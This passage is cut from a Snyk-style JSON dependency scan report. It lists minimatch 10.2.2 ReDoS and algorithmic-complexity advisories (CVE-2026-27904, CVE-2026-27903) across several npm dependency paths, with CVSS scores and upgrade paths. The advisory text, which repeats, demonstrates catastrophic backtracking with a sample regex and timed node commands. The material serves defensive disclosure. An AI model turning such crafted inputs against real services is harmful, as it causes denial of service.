match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": 